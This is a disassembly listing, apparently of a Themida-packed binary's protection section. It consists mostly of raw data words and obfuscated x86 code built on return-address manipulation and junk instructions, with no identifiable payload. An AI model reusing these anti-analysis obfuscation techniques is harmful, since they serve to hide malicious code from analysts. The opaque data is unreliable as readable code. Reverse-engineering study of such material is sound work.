		dd 44810424h, 170424h, 51410000h, 3948F1C3h, 4860F58h
		dd 66000000h, 2BC715BBh, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 66E7900Ch, 1DD2E781h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 47C35747h, 66004812h, 667FE9BFh
		dd 0D2866BFh, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C9C35646h, 0D780B99Bh, 0BD958BCCh, 8B06131Bh
		dd 0DD8D8BF9h, 6A061318h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3249C353h, 0C5EEA11Eh
		dd 8007663Ch, 8B5061CFh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0FA8B66FCh, 8FCFDB81h, 0BD836B28h, 6131D1Dh
		dd 0AA840F00h, 0F000000h, 0B8F9B7h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0D2DBC351h, 1860F4Ah, 0F8000000h, 4F8D8D8Dh,	9D8B0613h
		dd 6130B8Dh, 85896053h,	61315D5h, 7E9h,	0C53EFD00h, 13710ECCh
		dd 0E1FF5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	57C35646h, 0E9701B40h, 14h, 9798287Fh, 0A7423EF0h
		dd 3125C354h, 0EBEB1290h, 7ECBD242h, 10E8h, 0E7FE0900h
		dd 2C3A90A9h, 0C39D0F57h, 298AC43Ch, 58A0F2Ch, 66000000h
		dd 0F909E381h, 55BD835Bh, 61330h, 453840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F6EABEC3h, 0D60FCAFDh, 518D89DDh, 83061330h, 133055BDh
		dd 840F0106h, 438h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0BC35646h, 0C8DEC450h, 0BD8B158Fh, 6131BD5h
		dd 3055BD83h, 0F030613h, 3CD86h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E2C11ED2h
		dd 8589B1C2h, 6131DADh,	2C59B589h, 0E8600613h, 12h, 0E7135270h
		dd 0A6C600A4h, 8E0B9040h, 25C7CE24h, 0BD31F34Dh, 6132405h
		dd 0D98C665Bh, 0D7EADF81h, 7E92F26h, 0A8000000h, 0B6730097h
		dd 0E18083EDh, 80C38004h, 840FC90Ah, 10Fh, 1BD59D8Bh, 858B0613h
		dd 6132BB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0BFC35646h, 0FE4D3BBh, 881h, 0BD295300h, 6132A4Dh
		dd 0B533605Bh, 6130635h, 2B35B589h, 60610613h, 1DAD9D89h
		dd 0B8510613h, 461596C9h, 8533615Ah, 61305B9h, 6050FA8Bh
		dd 9E9h, 0D3CA4900h, 0E953F505h, 0D88B878Dh, 24048961h
		dd 1A2D8589h, 6A0613h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 57C35040h, 8328F0D1h,	5B689740h, 6E8F5h
		dd 0D1150000h, 7671FB26h, 5199D8Bh, 685B0613h, 175BDB6h
		dd 2161BF66h, 49243481h, 6A016ABEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E7B1C350h
		dd 2B619D8Bh, 95FF0613h, 6130A3Dh, 24098D89h, 85890613h
		dd 616C454h, 2C118589h,	0F9E90613h, 8B000001h, 1311719Dh
		dd 15BD0106h, 8B061305h, 16C44C85h, 0C75F5706h,	1800h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 2A931940h, 0C450B58Bh, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD8BACC3h, 613054Dh, 2A55858Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0F3F6F8C3h
		dd 0D781A5A2h, 5EEF4013h, 6A0689h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8B1C04C3h, 132BB985h
		dd 8D9D8B06h, 66061329h, 89C77BBBh, 6A0446h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 256E1FC3h
		dd 0E950EBFEh, 13h, 0ABDCF2C1h,	0CFA0D524h, 20640012h
		dd 0E6505DB2h, 89ED7281h, 6A2434h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0AF97ADC3h, 0FE9h, 18845300h
		dd 98736201h, 58EE4AF8h, 63A239D2h, 0C44CB5FFh,	29600616h
		dd 131EAD95h, 4E86106h,	0FF000000h, 50001F03h, 448BDE8Ah
		dd 8A0F0424h, 0
		dd 8E0F008Bh, 12h, 0AE853h, 71CF0000h, 7C7D52E2h, 11598741h
		dd 44895B5Bh, 29580424h, 1320E18Dh, 54858D06h, 0F0616C4h
		dd 5650DAB7h, 0FE9h, 0C142B00h,	0E9736FAh, 0F348DB8Ah
		dd 0E3F1FCCCh, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0E2C35646h, 62F7A73Bh, 0BB35BF66h, 68F0Fh
		dd 0B5890000h, 6131741h, 95FFDDB3h, 6130A3Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 78C35040h, 0DFD10C81h
		dd 51594367h, 5B7ACB80h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5AC35367h, 305585C7h
		dd 30613h, 0D7810000h, 7839F168h, 0C454BD83h, 0F000616h
		dd 2584h, 0FAB70F00h, 38E9h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 30500B11h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0E66D5BAh, 0E64CE7EBh, 6A5BF553h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 5BE7C355h, 66694106h, 0BD83D88Bh, 6133055h, 8E850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0D38AC356h, 68B0FC5h, 81000000h
		dd 0C87F48C7h, 54BD8351h, 616C4h, 457840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C5AB4BC3h, 96799797h, 0E852E7AFh, 7, 8D3A53F0h, 81484A5Ah
		dd 0F75D58D3h, 805B5F74h, 0B5FFF5DFh, 616C454h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0D9D91DF4h
		dd 0BB66455Dh, 0DE986EAh, 6000000h, 6FF40570h, 738149FDh
		dd 4D5212E1h, 96995FFh,	6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 7CECDFC3h, 0B70FAEA6h
		dd 48B58BF9h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7D6DC357h, 0F098D89h
		dd 6C70613h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 8C35343h, 0B17AAE35h,	9D8B1188h, 61307E1h
		dd 52506050h, 310F5250h, 310F585Ah, 585AF08Bh, 61605250h
		dd 6160310Fh, 8961585Ah, 13E82434h, 21000000h, 82C4F4FCh
		dd 0A7BBB34Ch, 19671577h, 97B09758h, 8952A4D8h,	132335B5h
		dd 0FF5B5F06h, 16C454B5h, 2995FF06h, 66061332h,	0FF79F781h
		dd 0C448B58Bh, 11E80616h, 7D000000h, 46B5AEF6h,	0E2E73112h
		dd 9AECFDB8h, 8F26ED6Bh, 19199589h, 8B5F0613h, 13063185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 86895F34h, 0C4h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0AC35343h, 0D2AD27E8h, 7E00AC7Ch
		dd 1BBD958Bh, 8B660613h, 4C283DFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E1C35242h,	6660759Dh, 0CCEEA81h
		dd 508961FCh, 11BD8B20h, 23061306h, 132F8DBDh, 0E3858D06h
		dd 6A0616D8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 73FFC352h, 86896B87h, 0B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h, 90DCC4BFh
		dd 60006A33h, 1E4D9501h, 61FC0613h, 0C454B5FFh,	6A0616h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 687BD5C3h, 0FABF0FDFh, 1E9595FFh, 6A0613h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A59DD1C3h
		dd 14E950h, 5E740000h, 69C1C76Ah, 0CB929381h, 99DD5ABEh
		dd 0D7F63480h, 34894577h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B5FFEC57h
		dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	70C35747h, 0E9F956B0h, 0Fh, 467B3BE6h, 4077EC88h
		dd 0A7FDD57Bh, 0FF0CA3D9h, 13214595h, 0DE906h, 0F8640000h
		dd 44B92D76h, 15567407h, 66E37A70h, 0BD83FB8Bh,	6131495h
		dd 2B840F00h, 0E9000000h, 0Ah, 0FCCD0D16h, 5ADA54E0h, 50963F31h
		dd 118D0Fh, 0CE90000h, 74000000h, 0B9F94176h, 554254A8h
		dd 964A08ADh, 0B5FFDE8Bh, 616C454h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3FC35040h, 0EE8F3B4Ah, 35381C0Bh
		dd 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C4D614C3h, 0FF6DE194h, 16C454B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 418531E6h, 0FF061315h, 13120995h, 0F98B6606h
		dd 511BD83h, 0F020613h,	5584h, 18C0F00h, 0F9000000h, 0BD958960h
		dd 61061304h, 0F55858Bh, 0C60613h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F765DE6Bh
		dd 41A50910h, 890F8C0Eh, 6, 2A9D8D89h, 8F0F0613h, 6, 22B9BD8Bh
		dd 85C70613h, 6131E51h,	0
; ---------------------------------------------------------------------------
		mov	ebx, 190D6741h
		jmp	loc_5C2513
; ---------------------------------------------------------------------------
		mov	bl, 23h
		mov	eax, ecx
		mov	bh, 0ACh
		lea	eax, [ebp+6131EA9h]
		pusha
		clc
		mov	ax, 0C467h
		popa
		sub	[ebp+6131EEDh],	eax
		nop
		jmp	loc_5C32CA
; ---------------------------------------------------------------------------
		or	byte ptr [edx+ebx*2+0C3AF073h],	20h
		dec	edx


loc_5C32CA:				; CODE XREF: Themida_:005C32BCj
		push	eax
		mov	di, 0DA1Eh
		nop
		or	[ebp+6130145h],	edi
		push	0
		jmp	loc_5C32E7
; ---------------------------------------------------------------------------
		db 0A2h, 17h, 8Dh
		dd 0D85A4BF5h
; ---------------------------------------------------------------------------
		push	ecx
		and	ebp, ecx


loc_5C32E7:				; CODE XREF: Themida_:005C32D8j
		push	0
		add	edi, 6BDFCD07h
		mov	bh, 0DEh
		lea	eax, [ebp+6177166h]
		pusha
		jns	loc_5C3304
		mov	[ebp+613251Dh],	ebx


loc_5C3304:				; CODE XREF: Themida_:005C32F8j
		mov	[ebp+613301Dh],	ebx
		popa
		add	eax, 5
		push	0
		push	eax
		call	sub_5C3319
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3319	proc near		; CODE XREF: Themida_:005C3311p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C3319	endp

; ---------------------------------------------------------------------------
		or	al, 50h
		mov	bx, 8294h
		mov	[esp], eax
		mov	di, bx
		push	0
		push	0
		push	edi
		call	sub_5C3342
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3342	proc near		; CODE XREF: Themida_:005C333Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C3342	endp

; ---------------------------------------------------------------------------
		dw 0B9B7h
		dd 0FBD76A8Eh, 7CEA7C90h, 9CBF006Ah, 0FF705066h, 1307F195h
		dd 79BD8B06h, 8D061331h, 16A36A8Dh, 0D5B58906h,	0FF061316h
		dd 819D89D1h, 83061331h, 13173DBDh, 850F0106h, 0A0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 6AD7B70Bh
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0C401A237h, 1D8F0F90h, 60000000h, 0A846BA66h
		dd 11E8h, 39A1A300h, 2A834A17h,	0EAF73F13h, 0FC2ECCE5h
		dd 615F455Bh, 52505050h, 638074BFh, 0F310F62h, 8Eh, 5F585A00h
		dd 9595FF90h, 6A06131Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CAE8C356h,	4EDFE28Ch
		dd 0E5CE9h, 0E800h, 815D0000h, 177170EDh, 0FD98B06h, 858DFBBFh
		dd 6168F5Eh, 6E99589h, 0B70F0613h, 0DE8B50FBh, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5B6AC351h, 0B307CFBBh, 11E956h, 55B0000h
		dd 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h, 643779A6h, 35FFh, 0BF0F0000h
		dd 258964DFh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C34AF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C34AF	proc near		; CODE XREF: Themida_:005C34A7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C34AF	endp

; ---------------------------------------------------------------------------
		inc	edi
		les	esi, [edi]
		and	ebx, [eax+edx*4]
		adc	ebx, 27138A71h
		push	eax
		pusha
		jp	$+6
		movsx	edi, bx
		popa
		pop	ebx
		inc	dword ptr [ebp+61316D9h]
		push	0
		push	edx
		call	sub_5C34E9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C34E9	proc near		; CODE XREF: Themida_:005C34E1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C34E9	endp

; ---------------------------------------------------------------------------
		db 29h,	0F7h, 24h
		dd 7B6EDDE1h, 8B5301CBh, 132A25BDh, 6AFF6A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E3C6C351h, 0B368F380h, 5DB5FF16h, 0F061300h, 186h
		dd 95FFF800h, 61331ADh,	0FFE9h,	0E19D8B00h, 0B006130Bh
		dd 0E669B300h, 0A9B50970h, 0E4061301h, 0CDBD0171h, 3C061301h
		dd 0DD830F61h, 0E8000000h, 0Dh,	0CAB6B60Ah, 0B7D8200Ah
		dd 0EBF4A124h, 0BE960C5h, 14000000h, 364F82D9h,	75317092h
		dd 5F61CD16h, 3C8B60Fh,	1300A19Dh, 6BA06h, 0BF660000h
		dd 0C18B4F77h, 9559D8Bh, 0E8C10613h, 0E2F76604h, 23C1BD8Bh
		dd 0C82B0613h, 0C149DB81h, 22B7130Fh, 9D8BD18Bh, 61308CDh
		dd 68F0Fh, 9D090000h, 6131DB9h,	6E9h, 0F8CF8100h, 8B07055Fh
		dd 1329B185h, 0BF0F6006h, 0EA8166D8h, 8361CA74h, 830F07C0h
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, ebx
		add	eax, 0
		jp	$+6
		cmp	edx, eax
		jnb	loc_5C361B
		movzx	ebx, si
		jmp	loc_5C3644
; ---------------------------------------------------------------------------
		jz	loc_5C361B
		mov	edi, [ebp+6131E55h]


loc_5C361B:				; CODE XREF: Themida_:005C3601j
					; Themida_:005C360Fj
		mov	ecx, [ebp+6131111h]
		cmc
		and	ecx, 1
		jz	loc_5C3644
		cmc
		and	dword ptr [ebp+6131111h], 0FFFFFFFEh
		or	edi, [ebp+6132349h]
		mov	[ebp+61329B1h],	edx
		jmp	$+5


loc_5C3644:				; CODE XREF: Themida_:005C360Aj
					; Themida_:005C3625j
		lea	esi, [ebp+6170037h]
		jmp	loc_5C3662
; ---------------------------------------------------------------------------
		db 0F7h
		dd 34BDABE3h, 0E7046A9Dh, 384FC49Fh, 722BE86Eh
		db 5Fh,	80h
; ---------------------------------------------------------------------------


loc_5C3662:				; CODE XREF: Themida_:005C364Aj
		push	0
		jno	loc_5C366C
		mov	bl, ch


loc_5C366C:				; CODE XREF: Themida_:005C3664j
		call	dword ptr [ebp+6130DA9h]
		push	0
		push	esi
		call	sub_5C367D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C367D	proc near		; CODE XREF: Themida_:005C3675p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C367D	endp

; ---------------------------------------------------------------------------
		db 0AFh, 0E0h, 0C1h
		dd 9185294Ch, 0B9061329h, 81Bh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0C4C35545h,	823B5FD3h, 839BDEE9h
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0B45155C3h, 22B52220h, 8961F960h,	133109BDh
		dd 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 8FEA41C3h, 0FCCF2A27h, 0B8EAh, 0B5890000h
		dd 6132CD1h, 0BAh, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0F73941B6h, 8880Fh, 8B560000h
		dd 132C09BDh, 33AD5F06h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0BE0325C3h, 0C1D975C2h, 0AE90Bh, 0DB060000h,	710FFBC4h
		dd 7CA11C22h, 0DAD9D89h, 81660613h, 0D5DCCE7h, 88h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A9C35141h, 52F60973h
		dd 8BDFBF0Fh, 131BBD95h, 0DE906h, 0B51D0000h, 11DF2BF3h
		dd 0D052C7F5h, 8BB86D94h, 1318DD8Dh, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E80BC350h
		dd 0Ah,	0C546EE50h, 5151E804h, 84BFDDF8h, 5B412662h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 84C35343h, 0C199D8Bh
		dd 0BD830613h, 6131D1Dh, 3B840F00h, 66000000h, 15FAEF81h
		dd 0B8D6B3h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0F54CC357h,	74583094h
		dd 8D8D8D21h, 0BB06134Fh, 784FCCB4h, 0BD83E1FFh, 6133055h
		dd 4840F00h, 0FC000005h, 3055BD83h, 0F010613h, 51184h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0D55FEDDAh, 81665D69h, 8393C5C3h, 133055BDh
		dd 860F0306h, 4A8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 79C35242h, 0A699529h,	89600613h, 1331018Dh
		dd 0D98C6606h, 1EB5BD09h, 0E1800613h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0B92CC42Eh, 0A8FB0F25h, 0CF816636h, 0EE9719Eh, 16000000h
		dd 80B471A9h, 6BF0AAF9h, 0FCDCBD43h, 0FC90A61h,	15284h
		dd 6DBD8B00h, 8B06131Fh, 132BB985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 55CE827Eh
		dd 0B7FEC781h, 0C59D3377h, 66061320h, 8533D98Bh, 61305B9h
		dd 1CF5BD89h, 0E9500613h, 13h, 0B217D114h, 0D092D63Ah
		dd 600A0A54h, 0FAA4D1C3h, 895A0F9Eh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 4BA450C3h
		dd 0D4A4FB0Bh, 0FEBF0FF8h, 960193BFh, 6A006A53h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0EFD5C355h, 20D8A3C5h, 810FA366h, 6,	2FADB589h, 66600613h
		dd 0AE9CB8Bh, 0D0000000h, 905D7291h, 0D2F0BBCEh, 18686141h
		dd 533E2AA3h, 52505250h, 585A310Fh, 6160310Fh, 815F585Ah
		dd 0A0E72434h, 85893E35h, 61331C5h, 0A3D95FFh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 54A913C3h, 85894A9Dh, 616C454h, 0AE99D09h, 87E90613h
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0C86EC351h, 60F8523Fh,	2A899D01h
		dd 8B610613h, 16C44C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9529CD5Eh, 6132021h, 5800Fh
		dd 81660000h, 0C77BF2D7h, 1800h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4733C637h
		dd 63FC1642h, 0B58BEEA8h, 616C450h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 81C35747h, 27F27AA9h, 0D494C997h
		dd 0EE968h, 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h
		dd 2A55858Bh, 0CF810613h, 6323F460h, 0B70F0689h, 858BFCDFh
		dd 6132BB9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	52C35545h, 70C56A64h, 0C97A964Ah, 816660F1h, 8BB088D1h
		dd 131059B5h, 46896106h, 0F3816604h, 81660829h,	960966DFh
		dd 5E8h, 9EF94C00h, 2EB739CCh, 0F88B505Fh, 6810F96h, 89000000h
		dd 130DC98Dh, 4CB5FF06h, 6A0616C4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 367AC353h
		dd 7B59C117h, 4E8h, 1F03FF00h, 8E900h, 2EB20000h, 8496AC0Ah
		dd 8B50953Dh, 0E8042444h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h
		dd 0E8E8D37Fh, 0Eh, 66644E70h, 3A0F7EBFh, 8A597E81h, 13E816ACh
		dd 0FA000000h, 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h
		dd 5B5F9B3Dh, 8B008B5Bh, 244489DAh, 1707BB04h, 6A586F85h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0BDB9C357h, 60FD288Ah, 89C3D181h,	0F86067ECh
		dd 9E8h, 0CBBF1900h, 46496875h,	615FAFBEh, 54858D61h, 6A0616C4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2443C352h, 199D8BADh, 8B061316h, 1314B1BDh
		dd 60575006h, 0C88AC88Bh, 4895F61h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F6EDB60h
		dd 95FFDBB7h, 6130A3Dh,	14E8h, 0C0AE5B00h, 0EBC5E79Ah
		dd 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 9ABF6689h, 6A615FDCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9208C356h, 2EE2B5E2h, 0EE988BAh, 0F000000h
		dd 17BF15DFh, 0AD17C280h, 2272F442h, 5585C79Fh,	3061330h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 1997C355h, 11D2CE8h, 610E3CADh
		dd 0C454BD83h, 0F000616h, 0B84h, 21E900h, 0BD8B0000h, 61312BDh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8161C351h, 0B06E07EBh, 51BD8953h,	31061330h
		dd 1317698Dh, 55BD8306h, 3061330h, 439850Fh, 8D290000h
		dd 6132B35h, 0C454BD83h, 0F000616h, 42684h, 0CF816600h
		dd 0B5FF9424h, 616C454h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0E3C35040h, 0DD35616Eh, 1D9B589h, 95FF0613h
		dd 6130969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0D8C35141h, 0F535A43Ah,	0C448B58Bh, 6A0616h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 35604CC3h, 2A51D396h, 0C99D8B49h
		dd 0C7061305h, 1000106h, 0A9BD8B00h, 96061321h,	820F5153h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		push	eax
		xchg	eax, esi
		mov	bx, 107h
		push	dword ptr [ebp+616C454h]
		push	0
		push	edi
		call	sub_5C3ED5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3ED5	proc near		; CODE XREF: Themida_:005C3ECDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5C3ED5	endp

; ---------------------------------------------------------------------------
		sbb	[edi+2995FFB6h], al
		xor	dl, [ebx]
		push	es
		mov	[ebp+61311E5h],	eax
		mov	esi, [ebp+616C448h]
		mov	ebx, 0D4DD735h
		mov	eax, [ebp+6130631h]
		jno	loc_5C3F0C
		cmc


loc_5C3F0C:				; CODE XREF: Themida_:005C3F05j
		mov	[esi+0C4h], eax
		push	0
		push	edi
		call	sub_5C3F1D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3F1D	proc near		; CODE XREF: Themida_:005C3F15p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C3F1D	endp

; ---------------------------------------------------------------------------
		db 0FBh, 35h, 3Fh
; ---------------------------------------------------------------------------
		cmp	ds:1BBD958Bh, edx
		adc	eax, [esi]
		push	0
		push	eax
		call	sub_5C3F43
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3F43	proc near		; CODE XREF: Themida_:005C3F3Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C3F43	endp

; ---------------------------------------------------------------------------
		db 73h
		dd 0FF45A5D5h, 5E9FFh, 0C0F0000h, 8397A667h, 6A04C2h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0A85A3BC3h, 1D106B7Fh, 85CB819Dh, 895F6636h,	8B662050h
		dd 0E3858DD9h, 310616D8h, 1309DDBDh, 0B8868906h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D552C355h, 71CAB74Eh, 14E997h, 554D0000h
		dd 9E72580Eh, 0C2AECD37h, 456E7F85h, 254467CAh,	0E95662ECh
		dd 0Bh,	738EEEAh, 904882A8h, 5F2581C3h,	6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
